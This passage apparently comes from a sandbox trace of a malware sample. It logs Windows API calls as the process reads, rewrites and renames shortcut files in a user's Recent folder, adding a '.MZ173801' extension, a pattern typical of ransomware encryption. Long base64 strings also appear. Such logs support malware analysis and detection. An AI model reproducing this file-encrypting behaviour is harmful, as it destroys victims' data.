GQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_QGlcVYKYQv4WkAR3e5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_qglcvykyqv4wkar3e5.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.560] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf4d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf4d, lpOverlapped=0x0) returned 1 [0122.561] CloseHandle (hObject=0x288) returned 1 [0122.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_QGlcVYKYQv4WkAR3e5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_qglcvykyqv4wkar3e5.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.563] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf4d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf4d, lpOverlapped=0x0) returned 1 [0122.564] CloseHandle (hObject=0x288) returned 1 [0122.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_QGlcVYKYQv4WkAR3e5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_qglcvykyqv4wkar3e5.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_QGlcVYKYQv4WkAR3e5.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_qglcvykyqv4wkar3e5.lnk.mz173801")) returned 1 [0122.568] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf728340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf728340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_QGlcVYKYQv4WkAR3e5.lnk", cAlternateFileName="_QGLCV~1.LNK")) returned 0 [0122.568] GetLastError () returned 0x12 [0122.568] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0122.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x99f23a60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x99f23a60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x99f23a60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x99f23a60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6dc080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6dc080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98a75b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="--WTm_HE17JmuNe.lnk.MZ173801", cAlternateFileName="--WTM_~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf989940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98a75b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="-GobGYg.flv.lnk.MZ173801", cAlternateFileName="-GOBGY~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396240, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf396240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98a9bca0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0CehppGcHEa.lnk.MZ173801", cAlternateFileName="0CEHPP~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ac1e00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0k5pff8__nmIF0D.lnk.MZ173801", cAlternateFileName="0K5PFF~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8a5100, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf8a5100, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ae7f60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0q91R3 LR1h2M2.lnk.MZ173801", cAlternateFileName="0Q91R3~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb9ec80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98b34220, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0s-6_jJxVlijEoSircL.mkv.lnk.MZ173801", cAlternateFileName="0S-6_J~1.MZ1")) returned 1 [0122.569] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.569] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.569] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7e6a20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7e6a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98b5a380, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0zoFemghGuWJ.lnk.MZ173801", cAlternateFileName="0ZOFEM~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded56880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded56880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98b5a380, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1435, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="13nJq0p.lnk.MZ173801", cAlternateFileName="13NJQ0~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9060a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9060a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ba6640, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13de, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="1n-q56s0pDc.lnk.MZ173801", cAlternateFileName="1N-Q56~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ba6640, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="1VJ5r3V4d2XtN.lnk.MZ173801", cAlternateFileName="1VJ5R3~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf15ada0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf15ada0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98bcc7a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="2s62f08alWPRJnfyMl.flv.lnk.MZ173801", cAlternateFileName="2S62F0~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbeaf40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbeaf40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98bf2900, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x141b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="2WobuDku.lnk.MZ173801", cAlternateFileName="2WOBUD~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd6b560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98c8ae80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="36rYiOW9I_Vo91vZ8DQ2.lnk.MZ173801", cAlternateFileName="36RYIO~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf02a2a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf02a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98cb0fe0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13d3, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="3PeJZ.mkv.lnk.MZ173801", cAlternateFileName="3PEJZM~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98cd7140, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="3U4GKOu3Uky7Fn.lnk.MZ173801", cAlternateFileName="3U4GKO~1.MZ1")) returned 1 [0122.570] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.570] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.570] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee3b0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98cd7140, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x207d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4 no16yO 0.lnk.MZ173801", cAlternateFileName="4NO16Y~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: 